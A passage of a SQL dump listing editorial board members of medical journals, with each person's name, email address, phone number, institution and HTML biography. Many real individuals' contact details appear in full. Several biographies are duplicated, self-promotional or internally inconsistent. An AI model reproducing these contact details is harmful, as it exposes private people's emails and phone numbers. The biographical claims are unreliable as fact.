Hepatology','Editorial board member','Germany','University Hospital of Essen','09','',1,'2018-09-03 23:30:26','2018-09-04 00:14:13',1),(285,29,20,'1536000141.jpeg','Tsvetelina Velikova','tsvelikova@medfac.mu-sofia.bg','','Assistant professor Department of Clinical Laboratory and Clinical Immunology','Editorial board member','Bulgaria','Medical University of Sofia','12','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Tsvetelina Velikova is an Assistant professor at Department of Clinical Laboratory and Clinical Immunology, Medical University of Sofia and Medical editor at Central Medical Library, Medical University of Sofia at Bulgaria. She was graduated from Medical University of Sofia as doctor of medicine (MD) (2010). Doctor of philosophy (PhD) in 2014, thesis: &ldquo;Investigation of immunological parameters for intestinal inflammation in order to establish new markers for diagnosis and follow up of Inflammatory Bowel Disease patients&rdquo; with advisor Prof. Iskra Altankova, MD, PhD, DSc. Now she is master of Health Policy and Management, Faculty of Public Health at Medical University of Sofia, Bulgaria. Dr. Tsvetelina has many peer reviewed published articles and she won so many awards and prizes.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Research Interest:</strong></em></span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Immunology of gastrointestinal tract, Mucosal Immunology, Cytokines, Inflammatory Bowel Disease, Th17/Tregs, Celiac disease</span></p>\r\n',1,'2018-09-04 00:12:21','2018-09-04 00:12:21',1),(286,29,20,'1536000452.jpg','Alisan Kahraman','alisan.kahraman@uk-essen.de','49-201-723-84797','Department of Gastroenterology & Hepatology','Editorial board member','Germany','University Hospital of Essen','13','',1,'2018-09-04 00:17:32','2018-09-04 00:17:32',1),(287,16,20,'1536561684.jpg','Mirela Olympia Fagarasan Palmer','mirelafagarasan@netscape.net','(619) 204-3342','Professor of Neuropharmacology','Editorial board member','USA','University of South California','03','<p><span style=\"font-family:Times New Roman,Times,serif\">Mirela Olympia Fagarasan Palmer works in academia as an internationally recognized neuropharmacology and neuroimmunology&nbsp; researcher. I published more than 500 scientific reports in the field of &nbsp;neuropsychopharmacology and signal&nbsp; transduction .&nbsp; I am leading a laboratory interested in understanding the fundamental neurobiological mechanisms of neuropsychiatric disorders to contribute at development of new pharmacological treatments. &nbsp;We use genetic, neuroendocrine and neurochemical methods. &nbsp;We recognize the role of the immune system in modulating neuropsychiatric diseases and we are developing in vitro cellular models and in vivo animal models to study the neuro-immune interactions under normal and disease states I has successfully combined research, teaching, administration and clinical care and continue to work on advancing our understanding of serious mental illness and drug development.&nbsp; We used to translate research findings into medical practice for the purposes of diagnosing, preventing and treating diseases. I has published scientific reports on peptides, their receptors, signal transduction and the role of these neuropeptides in the immune systems. I hold patents for using modified peptides in the treatment of septic shock. I have skills and expertise in receptor pharmacology, immunohistochemistry, in vivo and in vitro cell culture, biochemistry, animal models, cell and molecular biology. &nbsp;I has lectured worldwide on these subjects and the others.&nbsp;&nbsp; I have 19 years of research experience with development and use of in vitro models to test compounds, such as receptor binding, receptor activation, signal transduction, receptor-receptor interactions, and induction of changes in cell cycle, proliferation and apoptosis. Furthermore I validated appropriate assays and models of diseases, screen compounds, and study mechanisms of action.</span></p>\r\n',1,'2018-09-10 12:11:24','2018-09-10 12:11:24',1),(288,16,20,'1536565879.jpg','Khue Vu Nguyen','kvn006@ucsd.edu','','Departments of Medicine and Pediatrics','Editorial board member','USA','University of California','04','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Khue Vu Nguyen (born in Ha Noi, Viet Nam) is currently Full Project Scientist in the Departments of Medicine and Pediatrics, University of California, San Diego, School of Medicine, San Diego, California, U.S.A. He has studied at University Louis Pasteur, Strasbourg, France: B.S. in Biochemistry, M.S. in Molecular Biology, Ph.D. in Macromolecular Physical Chemistry, Ph.D. in Physical Sciences (Doctorat d&rsquo;Etat es Sciences Physiques).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has worked as Scientist in different French and U.S. Research Institutions and Companies. He is author and co-author of numerous publications and holder of many patents. He is listed in Who&rsquo;s Who in the World, Who&rsquo;s Who in America, etc. He is member of different academic organizations such as American Society for Microbiology, American Chemical Society. He is invited reviewer of different scientific journals such as Molecular Genetics and Metabolism,<br />\r\nAGE: Journal of the American Aging Association. He is also editorial board member of different scientific journals such as International Journal of Medicine and Molecular Medicine, Open Journal of Endocrine and Metabolic Diseases. He is Scientist Reviewer for grant proposals of the Metabolic Disease Two (MB-2) of the Peer Review Medical Research Program (PRMRP) for the U.S. Department of Defense Congressionally Directed Medical Research Programs (CDMRP). Current research includes genetic diseases, neurodevelopmental and neurodegenerative disorders, and cancer.</span></p>\r\n',1,'2018-09-10 13:21:18','2018-09-10 13:21:18',1),(289,16,20,'1536566257.jpg','John Albert St.Cyr','Congenital@aol.com','(763) 767-5325 ','Regulatory & Clinical Research Institute','Editorial board member','USA','University of Minnesota','05','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. John A. St. Cyr is a Medical-Surgical Consultant in Physiological Research Laboratories/Medtronic Inc, Minneapolis. He received his B.A, M.S, M.D, and Ph.D. degrees from the University of Minnesota, Minneapolis. He completed his general surgical training at the University of Minnesota and his cardiovascular surgical fellowship training at the University of Colorado Health Sciences Center in Denver, United States. </span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. John St. Cyr has extensive research credentials, is widely published. he received numerous research grants, patents in various fields of interest, and attended many conferences/meetings. Dr. St. Cyr consultant for various medical companies, such as a surgical/medical consultant for Medtronic, Inc. (Physiological Research Laboratories, a facility of Medtronic, Inc., Minneapolis), Chief Medical Officer for RCRI, Inc. (Minneapolis, MN), and ImmuMed, Inc. (Minneapolis, MN).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr.John St. Cyr is a member of various scientific research, medical, and surgical societies. He published many articles in National and International journals and acting as Editorial Board member and Reviewer in several journals, he received prestigious awards like Physician&#39;s Recognition Award, American Medical Association etc.</span></p>\r\n\r\n<h3><em><strong><span style=\"font-family:Times New Roman,Times,serif\">RESEARCH INTERESTS:</span></strong></em></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Research Interests are Myocardial metabolism, Congenital and adult Cardiovascular Surgery, Congenital Heart Disease, Stem Cell Therapies, Blood Viscosity, Dialysis and RBC storage.</span></p>\r\n',1,'2018-09-10 13:27:37','2018-09-10 13:32:35',1),(290,16,20,'1536570953.jpg','Konstantinos (Costas) A. Fourtounas ','cfourt@usa.net','++306944763781','Associate Professor of Internal Medicine - Nephrology School of Health Sciences','Editorial board member','Greece','University of Thessaly','09','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Costas Fourtounas is working as Associate Professor of Internal Medicine-Nephrology in the Faculty of Medicine of the School of Health Sciences of the University of Thessaly in Larissa Greece. He received his medical degree from the Medical School of the Aristotle University in Thessaloniki. He completed his fellowship training in Nephrology in Athens, Greece and had extra training in UK and USA. His main interests include hypertension in renal diseases and diabetes, renal transplantation and dialysis. He has published more than 130 papers in national and international peer-reviewed medical journals and has contributed with chapters in more than 10 medical books. He has been an editorial board member of 40 International Journals and has served as a reviewer for more than 80 medical journals.</span></p>\r\n\r\n<h2><span style=\"font-family:Times New Roman,Times,serif\">Fields of Expertise:</span></h2>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Hypertension in renal diseases and diabetes, renal transplantation and dialysis (hemodialysis/peritoneal dialysis)</span></p>\r\n',1,'2018-09-10 14:45:52','2018-09-10 15:02:27',1),(291,16,20,'1536571189.jpg','Nikolaos Papanas','papanasnikos@yahoo.gr','','Diabetes mellitus Diabetic complications Diabetic foot Diabetic neuropathy Medical writing Vascular disease Metabolic syndrome in OSAS and obesity','Editorial board member','Greece','University of Thrace Greece','08','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Nikolaos Papanas is Professor in Internal Medicine-Diabetes Mellitus at Democritus University of Thrace, Greece. He has been specialized in diabetes and its complications in the Diabetes Center and the Diabetic Foot Clinic at King&rsquo;s College Hospital, London, UK, as well as in the German Diabetes Center at the Heinrich Heine University, D&uuml;sseldorf, Germany. He has established an ongoing collaboration with the neuropathy study group of the German Diabetes Center in D&uuml;sseldorf. He has published <strong>more than 270 papers</strong> in peer-reviewed journals<strong>.</strong> He serves in the editorial board of more than 70 international journals. He has also participated with numerous presentations in Greek and European medical congresses and repeatedly served as invited reviewer in medical journals. He has served in the Executive Committee of the Hellenic Society for Angiology. He is currently a member in the Executive Committee of the Study Group on Diabetes and Nervous System of the German Diabetes Association (DDG). He is also Vice President of the Greek Society for the Study of the Diabetic Foot. He has served as Secretary General and, until very recently, as President of the Hellenic Diabetes Association. He is now the President of the ethics and administrative committee of the Hellenic Diabetes Association. He is also Vice President of the Diabetic Foot Study Group (DFSG, www.dfsg.org) of the European Association for the Study of Diabetes (EASD). He has recently become Visiting Professor in the German Diabetes Center, D&uuml;sseldorf. Moreover, he is an honorary member of the Cypriot Diabetes Association and the Hungarian Diabetes Association.</span></p>\r\n\r\n<h2><span style=\"font-family:Times New Roman,Times,serif\"><u><em><strong>Research Interest</strong></em></u><em><strong>:</strong></em></span></h2>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetes mellitus</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic complications</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic foot</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Diabetic neuropathy</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Medical writing</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Vascular disease</span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Metabolic syndrome in OSAS and obesity</span></li>\r\n</ul>\r\n',1,'2018-09-10 14:49:48','2018-09-10 15:02:05',1),(292,16,20,'1536571666.png','Luis Emilio Abad','dr.luis.abad@gmail.com','(+54-9-2966) 253110','Professor of Ophthalmology','Editorial board member','Dominica','Ballsbridge University','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Prof. Dr. Luis Emilio Abad has completed his Ph.D. in Genetics and Molecular Biology from Bircham International University, Spain and also did Master of Business Administration (MBA) from Bircham International University, Spain followed by Diploma in Ophthalmology (DO) from Dr. Nano Eye Clinics, Argentina and Doctor in Medicine (MD), Faculty of Medicine from National University of C&oacute;rdoba, Argentina. He is Dean and Distinguished Professor of Ophthalmology at Ballsbridge University, Dominica and President of International Research Group, Abad Eye Research, Dominica He is also the Honourable global member council of the Board of Quality Standards, UK. He is also awarded with many awards like Doctor of Philosophy (Ph.D.), International Philosophical Institute, Doctor of Letters (D.Litt.) in Medical Research, Maha Sastra University, Cambodia and many more awards. He is the authors of many books few are Practical Manual of Ophthalmology, Revinter, The Vitreous Behavior of stem cells in eyes with chorioretinal injuries and Retinal Vasculopathy, Glosa, Spain.</span></p>\r\n\r\n<h3><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Biotechnology and Nanotechnology Ocular Research</span></p>\r\n',1,'2018-09-10 14:57:46','2018-09-10 15:02:48',1),(293,16,20,'1537177284.png','Syed A. A. Rizvi','syed.rizvi@hamptonu.edu','(757) 727 - 5455','Department of Pharmaceutical Sciences','Editorial board member','USA','Hampton University School of Pharmacy (HUSOP)','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Rizvi pursued an M.S and Ph.D combined degree program at the Center for Biotechnology and Drug Design, Department of Chemistry, Georgia State University (GSU), Atlanta, GA. While working at GSU, Dr. Rizvi was trained in the areas of Analytical Chemistry, Separation Sciences, Bioanalysis, Surfactant Chemistry, Chiral Separations of the Drugs, Trace Level Analysis (Forensic Chemistry) of Drugs in human body fluids (led to a US and International patent). Right after finishing M.S and Ph.D at the GSU, Dr. Rizvi pursued another Ph.D (under Prof. Martin J. D&rsquo;Souza) at the College of Pharmacy and Health Sciences, Department of the Pharmaceutical Sciences, Mercer University (MU), Atlanta, GA in collaboration with Dr. Scott L Childs (founder and chief Scientific officer, Renovo Research, LLC). At Mercer, Dr. Rizvi was trained in the areas of Solid Dosage Formulations (direct compressed tablets), Controlled Release Formulations, Nanoparticulate System for Non-Invasive real time In Vivo Imaging, Cell-Lipid interaction Studies. At Renovo, Dr. Rizvi was trained in the area of Solid State Chemistry of the Drugs, e.g., Polymorphism and Cocrystallization. Moreover, Dr. Rizvi pursued part time postdoctoral research in the laboratory of Dr. Fredric M. Menger (Charles Howard Candler Professor) at the Sanford S. Atwood Chemistry Center, Emory University, where he polished his skills in Organic Synthesis, Soft Material Chemistry, Surface and Interfacial Sciences, Gene Transfection Studies using Gemini Surfactants, State of the art, Langmuir-Adam Balance Studies. Dr. Rizvi has published many peer-reviewed articles in top ranking journals and two book chapters. Dr. Rizvi publications include one of the most highly rated article, two cover articles and one figure from Dr. Rizvi&rsquo;s paper was included in the text book &ldquo;Quantitative Chemical Analysis&rdquo; by Daniel C. Harris (7th Edition, p 616, W. H. Freeman, 2006, ISBN-10: 0716770415). Dr. Rizvi also presented his work through posters and oral presentations in national and international conferences. Dr. Rizvi also serves as editor-in-chief, the editorial board member and reviewer for over 100 scientific journals. Dr. Rizvi enjoys teaching and engaging students in thought process, beside creative cooking at home and practicing martial arts.</span></p>\r\n\r\n<p><strong><em><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:18px\">Research Interests:</span>&nbsp;</span></em></strong></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Pharmaceutical formulations (direct compressed tablets, topical and liquid); Ionic liquid formation and cocrystallization of the pharmaceutical compounds; Nano and micro-encapsulation of the drugs for targeting and controlled release; Multistep synthesis of small organic molecules; Pharmaceutical analysis (forensics and method development); Design and synthesis of novel monomeric and polymeric surfactants for separation of chiral and achiral compounds in micellar electrokinetic chromatography (MEKC); Method development and validation for separations of achiral and chiral compounds utilizing MEKC-UV/MS and HPLC-UV-MS; Application of cryogenic high resolution scanning electron microscopy (Cryo-HRSEM) and analytical ultracentrifuge for characterization of polymeric surfactants; Chemical transformation of pharmacologically active compounds using microbial whole cultures; Isolation and pharmacology of compounds from fungal metabolites and medicinal plants.</span></p>\r\n\r\n<h1><span style=\"font-size:18px\"><em><strong><span style=\"font-family:Times New Roman,Times,serif\">Research Interests keywords:</span></strong></em></span></h1>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Micro and Nano-Technology for Drug Delivery, Controlled Release Formulations, Solid State Chemistry of the Drugs, Surface Chemistry, Analytical Chemistry, Soft Material Chemistry, Forensic Chemistry, Organic Chemistry, Natural Product Chemistry, Vaccinology and Immunology.</span></p>\r\n',1,'2018-09-17 15:11:24','2018-09-17 15:11:24',1),(294,35,20,'1537251050.jpg','Christopher R. Bryant','christopher.robin.bryant@gmail.com','','Associate Professor','Editorial board member','Canada','University of Montreal','07','<p><span style=\"font-family:Times New Roman,Times,serif\">Christopher R Bryant has completed his Doctorate in 1970 from the London School of Economics and Political Science. His research has been focused on &ldquo;Peri-urban&nbsp;<a href=\"http://foodsecurity.conferenceseries.com/\">agriculture&nbsp;</a>and its relationships with cities for almost 50 years, the adaptation of agriculture to climate change and variability (25 years) and local and community development (30 years)&rdquo; with extensive publications and communications in all three domains. He has been a Professor at the University of Waterloo and the University of Montreal, and is currently Adjunct Professor at the Universities of Montreal and Guelph.</span></p>\r\n',1,'2018-09-18 11:40:49','2018-09-18 11:40:49',1),(295,35,20,'1537251300.jpg','Chiladze George','prof.chiladze@yahoo.com','','Professor','Editorial board member','USA','University of Georgia','03','',1,'2018-09-18 11:44:59','2018-09-18 11:45:35',1),(296,26,20,'1537251863.jpg','Mohd. Shahbaaz Khan','mohdshahbaazkhan@yahoo.com','966530942433','Assistant Consultant Cardiac Surgeon','Editorial board member','Saudi Arabia','King Salman Heart Centre','10','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Mohd. Shahbaaz Khan is working as Pediatrics Cardiac Surgeon in a highly reputed international fame cardiac hospital Fortis Escort Heart Institute, New Delhi, India. He did Master of Chirurgical ( M.Ch.) in Cardio Thoracic &amp; Vascular Surgery from Institute of Post Graduate Medical Education &amp; Research (IPGMER), SSKM Hospital, The West Bengal University of Health Sciences, India. Master of Surgery (M.S.) in General Surgery at GSVM Medical College, LLR Hospital, CSJM Kanpur University, India.&nbsp; He received many awards and honors and has membership in professional associations. He has a book &amp; book chapter, many publications on his name. He is also acting as Editorial Board member and as reviewer for several peer reviewed journals.peer reviewed journals.reviewer for several peer reviewed journals.Cardio Thoracic &amp; Vascular Surgery from Institute of Post Graduate Medical Education &amp; Research (IPGMER), SSKM Hospital, The West Bengal University of Health Sciences, India. Master of Surgery (M.S.) in General Surgery at GSVM Medical College, LLR Hospital, CSJM Kanpur University, India.&nbsp; He received many awards and honors and has membership in professional associations. He has a book &amp; book chapter, many publications on his name. He is also acting as Editorial Board member and as reviewer for several peer reviewed journals.Cardio Thoracic &amp; Vascular Surgery from Institute of Post Graduate Medical Education &amp; Research (IPGMER), SSKM Hospital, The West Bengal University of Health Sciences, India. Master of Surgery (M.S.) in General Surgery at GSVM Medical College, LLR Hospital, CSJM Kanpur University, India.&nbsp; He received many awards and honors and has membership in professional associations. He has a book &amp; book chapter, many publications on his name. He is also acting as Editorial Board member and as reviewer for several peer reviewed journals.peer reviewed journals.reviewer for several peer reviewed journals.Cardio Thoracic &amp; Vascular Surgery from Institute of Post Graduate Medical Education &amp; Research (IPGMER), SSKM Hospital, The West Bengal University of Health Sciences, India. Master of Surgery (M.S.) in General Surgery at GSVM Medical College, LLR Hospital, CSJM Kanpur University, India.&nbsp; He received many awards and honors and has membership in professional associations. He has a book &amp; book chapter, many publications on his name. He is also acting as Editorial Board member and as reviewer for several peer reviewed journals.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Mohd. Shahbaaz Khan&rsquo;s research interest includes Cardiac Surgery, Traumatic Diaphragmatic Rupture, and blunt trauma of chest.</span></p>\r\n',1,'2018-09-18 11:54:23','2018-09-18 11:54:23',1),(297,24,20,'','Courtney Cook','courco@okstate.edu','','Doctor of Osteopathic Medicine','Editorial board member','USA','Oklahoma State University Center for Health Sciences','03','',1,'2018-09-18 12:03:44','2018-09-18 12:03:44',1),(298,16,20,'1537254080.jpg','Ali Cyrus Banan','cyrusbanan@charter.net','(864) 675-5719','Executive Dean','Editorial board member','USA','Windsor University School of Medicine','06','<p><span style=\"font-family:Times New Roman,Times,serif\">Ali Cyrus Banan is a founding Head of the Departmental Research and Education at RUSH Chicago Medical School in Illinois, and Founding Head of the University Wide Research and Education at the USC Medical School Greenville South Carolina. He has well over 20 years of extensive experiences at executive and administrative levels in the industry and academia. He has a proven track-record of successfully leading global and national research and education strategies. Dr. Banan has served on over 50 professional committees and over 100 national and international organizations, volunteer boards, government/public health councils, industry, and academia. He has been principal investigator for more than 100 grants, including over $200 million in direct costs alone. He has secured well over $350 million of research and education funding, including from private industry, NIH, CDC, HHS, DARPA, and venture capital. He is also the author of 300+ peer-reviewed publications, book chapters and abstract presentations as well as inventor of several worldwide patents. At Windsor University, he is the second-highest ranking officer of the university, providing academic leadership for the university&rsquo;s colleges, campuses, research institutes, while overseeing academic support services and student services, and responsibility for curriculum, academic planning, faculty appointments, faculty development and promotion, and tenure decisions among many other responsibilities.</span></p>\r\n\r\n<h2><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></h2>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Translational medicine research and Clinical science research</span></p>\r\n',1,'2018-09-18 12:31:20','2018-09-18 12:33:17',1),(299,16,20,'','Li Juan Wang','lwang@Lifespan.org','(401) 793-7733','Associate Professor of Pathology (Teaching Scholar) Department of Pathology and Laboratory Medicine','Editorial board member','USA','Warren Alpert Medical School of Brown University','15','<p><span style=\"font-family:Times New Roman,Times,serif\">Dr. Wang is the medical director of The Miriam Hospital Pathology Department and Associate Professor of Pathology and Laboratory Medicine at the Alpert Medical School of Brown University, USA. &nbsp;She received her M.D. from Beijing University School of Medicine, Beijing, China, and her Ph.D. from the University of Louisville in Louisville KY., USA.&nbsp; After her PHD training, she joined the residency and fellowship program in pathology at Rhode Island Hospital, Alpert Medical School of Brown University. She served as the Residency Director of Pathology at Alpert Medical School of Brown University and as the Chief of Service at Department of Pathology, Roger Williams Medical Center.&nbsp; She is board-certified in anatomic pathology and clinical pathology by the American Board of Pathology, and has special interests in gastrointestinal and genitourinary pathology. &nbsp;Her research interests lie in tumoral pathology, particularly in the area of new diagnostic or prognostic markers and the application of molecular classifications in surgical pathology to optimize clinical outcomes.</span></p>\r\n',1,'2018-09-18 12:42:43','2018-09-18 14:26:31',1),(300,16,20,'1537255178.jpg','Marco Berlucchi','marco.berlucchi@tin.it','+390303996226','Assistant Professor of Pediatric Otorhinolaryngology','Editorial board member','Italy','University of Brescia ','16','<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Dr.Berlucchi enjoys all areas of otolaryngology and has a special interest in diagnosis and treatment of sinonasal and airway diseases.At Department of Pediatric Otorhinolaryngology, Dr.Berlucchi interested in lacrimal pathway stenoses. He utilized diagnostic and therapeutic sialoendoscopy for obstructive salivary disease. He investigates and treats sleep disorders.</span></p>\r\n\r\n<h3 style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><em><strong>Special Interests:</strong></em></span></h3>\r\n\r\n<ul>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Endoscopic sinus surgery for sinonasal diseases</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diagnosis and surgery of airway disorders&nbsp; </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Surgical treatment of lacrimal stenosis</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Sialoendoscopy for diagnosis and treatment of obstructive salivary disorders </span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Diagnosis and treatment of children affected by neck mass</span></li>\r\n	<li style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Treatment of sleep diseases</span></li>\r\n</ul>\r\n',1,'2018-09-18 12:49:38','2018-09-18 12:52:07',1),(301,16,20,'1537256188.png','Francesca Diomede','rancesca.diomede@unich.it','+39.3892496423','Department of Medical, Oral and Biotechnological Sciences','Editorial board member','Italy','University G. d\'Annunzio','18','',1,'2018-09-18 13:06:27','2018-09-18 13:06:27',1),(302,16,20,'1537256789.jpg','Baher Abdel Khalek Mahmoud Effat','e.baher@hotmail.com','+(202)0100-5548081','Professor, Food and Dairy Technology Department','Editorial board member','Egypt','National Research Centre','18','<p><span style=\"font-family:Times New Roman,Times,serif\">Baher Effat is a Research Professor of&nbsp; Food and Dairy Microbiology, National Research Centre, Egypt. Over 36 years of experience in Food and Dairy Bacteriology, he shared and supervised over than 3 Master and Ph.D Thesis in Food and Dairy sciences and more than 60 scientific publications in food&nbsp; and dairy microbiology, functional dairy products , probiotics and propionic acid bacteria and pathogenic bacteria and in Food and Dairy Products.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He has shared in national and international programs and projects. He joined many international conferences and&nbsp; workshop, in addition to scientific activities.&nbsp; In addition he&nbsp; awarded for CAS-TWAS Visiting Scholar Fellowship From 03 Aug., 2006 to 31 October 2006.Training of young researchers and lecturers on many science-related subjects; including courses for: Microbiological Analysis of Food, Control of Bacteria, Contamination during Food Process and Isolation and Identification of Microorganisms.</span></p>\r\n\r\n<ul>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\">Member <strong><span style=\"color:#444444\">Who&#39;s Who in the World.</span></strong></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#444444\">Member of Organizing Committee for 20<sup>th</sup> International Conference on Nutrition , Food Science and Technology. April 16-17 ,2018 , Dubai , UAE.</span></strong></span></li>\r\n	<li><span style=\"font-family:Times New Roman,Times,serif\"><strong><span style=\"color:#444444\">Member of Organizing Committee for 2<sup>nd</sup> International Probiotics, Nutrition &amp; Microbiome Conference, October 10-12 , 2018 , Amsterdam , &nbsp;Netherlands.</span></strong></span></li>\r\n</ul>\r\n\r\n<h3><strong><em><span style=\"font-size:18px\"><span style=\"font-family:Times New Roman,Times,serif\">Research Interest:</span></span></em></strong></h3>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">Food and Dairy Microbiology , Functional Foods , Functional Dairy Products ,Probiotics ,Propionic acid bacteria ,Pathogenic bacteria in foods and dairy products.</span></p>\r\n',1,'2018-09-18 13:16:29','2018-09-18 13:16:29',1),(303,16,20,'1537257390.jpg','Ahmed G Hegazi','ahmedhegazi128@gmail.com','','Professor of Microbiology and Immunology','Editorial board member','Egypt','National Research Center','19','<p><span style=\"font-family:Times New Roman,Times,serif\">Awarded the Excellent Medal of the First Class, 1995 &bull; Received the Senior Scientist Prize of National Research Center, 1996 &bull; Received the National Scientific Prize In Biological Sciences, 1990 &bull; Received the Scientific Prize of The National Research Center, 1989 &bull; Won The Second Best Research Paper award From International Congress of propolis, Argentina, 2000 &bull; Mean speaker in 10th Academic conference, , 2006, Japan &bull; From Wikipedia, Awarded 2 Bronze medals from &ldquo;The International Innovation Fair of the Middle East&rdquo;, , 2007, Kuwait. Prof. of Microbiology &amp; Immunology ,National Research Center National Research Center, Dept. Parasitology, 1997-2000, Chair &bull; Faculty of Medicine, Zagazig University, 1981-1997, Par-time Prof. and Supervisor on Immunology Section &bull; National Research Center, 1990- up till now, Prof. of Microbiology &amp; Immunology &bull; African Federation of Apiculture Associations (AFAA), 2001- up till now, &bull; Standing Commission on Apitherapy (APIMONDIA), 1999 - up till now, Member &bull; Standing Scientific Committee, National Research Center, 1998 &ndash;up till now, &bull; First, Second and Third Annual Conference of the Egyptian Association of Immunologists 1993, 1994 and 1996, Secretary General &bull; Egyptian Journal of Immunology, 1995, Editorial Board &bull; The Egyptian Association of Immunologists, 1992 &ndash;1997, Secretary General &bull; Referee in 37 International Journals Patents: 4 Patents Educational Activities &bull; Organized training courses on Immunology, National Research Center, 1987-2002 &bull; Conducted training courses on Immunology, Faculty of Medicine, Zagazig University, 1981-1997 &bull; Supervised the Immunology lab, Faculty of Medicine, Zagazig University, 1981-1997 The publications: &bull; 193 articles in national and international scientific journals &bull; 6 books in English language &bull; 7books in Arabic language.</span></p>\r\n',1,'2018-09-18 13:26:29','2018-09-18 13:26:29',1),(304,16,20,'1537260611.jpg','Ahmed Mohamed Medra','ahmed_medra16@yahoo.com',' 002-0127392027','Professor of Cranio-Maxillofacial & Oral and Plastic Surgery','Editorial board member','Egypt','Alexandria University ','20','<p><span style=\"font-family:Times New Roman,Times,serif\">Professor Ahmed Mohamed Medra is professor in Department of Cranio-Maxillo-facial, Oral and Plastic Surgery, Faculty of Dentistry, at Alexandria University, Egypt. He is doubly qualified. He got the medical Degree (M.B.Ch.B, December 1977) .He holds Master Degree in General &amp; Emergency Surgery, in January 1981, Faculty of Medicine Alexandria University. Then he got the Dental Degree,(BDS, Faculty of Dentistry, Alexandria University,1985.&nbsp; He got Doctorate in Cranio-Maxillofacial, Oral and Plastic Surgery,1987</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is the President of the Egyptian Society of Craniofacialmaxillofacial Surgeons, since 2009 till now(www.escmfs.com) and&nbsp; the president of the Egyptian Association of Cleft Lip&amp; Palate and Craniofacal Anomalies ,from 2012 till now.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">He is reviewer for International Arab Journal of Dentistry (IAJD), Advisory Board Member for Annals of International Medical and Dental Research and Associate editor in Journal of Dental Health, Oral Disorders and Therapy and member of the Editorial Board&nbsp; for Advances in dentistry and Oral Health Journal.(Juniper Publishers.com)and Editorial board Member for EC Dental Science Journal,(www.ecronicon.com).</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">&nbsp;He is member of European association of Cranio-Maxillo-Facial Surgeons, Egyptian Cancer Society, Egyptian Association of Oral and Maxillofacial Surgery, Pan-Arab Association of Oral and Maxillofacial Surgeons, International Cleft Lip and Palate Foundation etc. He is Chairman of the Alexandria Club of Cranio-Maxillofacial, Oral and Plastic Surgery. He is member of Egyptian Dental Association, Alexandria Oral Implantology Association (AOIA). He has published several scientific papers in International peer reviewed journals. He attended so many conferences in Egypt and in Saudi Arabia. All fields of Craniomaxillofacial, Oral, and Plastic Surgery especially: Cleft Lip and Palate; Craniofacial Anomalies; Craniomaxillofacial and mandbular trauma; Temporomandibular joint; trauma, ankylosis, and Disorders; Distraction osteogenesis; Mandibular, craniofacial,and midface, including transport distraction osteogenesis; Oral surgical procedures, under local and general anesthesia; Craionmaxillofacial, oral, and mandibular tumor; resection and reconstruction; Head and neck tumors.Web and Maxillofacial Surgeons, International Cleft Lip and Palate Foundation etc. He is Chairman of the Alexandria Club of Cranio-Maxillofacial, Oral and Plastic Surgery. He is member of Egyptian Dental Association, Alexandria Oral Implantology Association (AOIA). He has published several scientific papers in International peer reviewed journals. He attended so many conferences in Egypt ,in Saudi Arabia and in Europe.</span></p>\r\n',1,'2018-09-18 14:19:09','2018-09-18 14:21:31',1),(305,26,20,'1537857763.jpg','Maria Luz Gunturiz','mgunturiz@ins.gov.co','','Scientific researcher','Editorial board member','USA',' National Institute of Health, Bogota, Colombia','03','',1,'2018-09-25 12:11:19','2018-09-25 12:13:11',1),(306,23,20,'1537858312.jpg','A. C. Matin','amatin@stanford.edu','(650) 725-4745','Professor of Microbiology & Immunology','Editorial board member','USA','Stanford University School of Medicine','01','<p><span 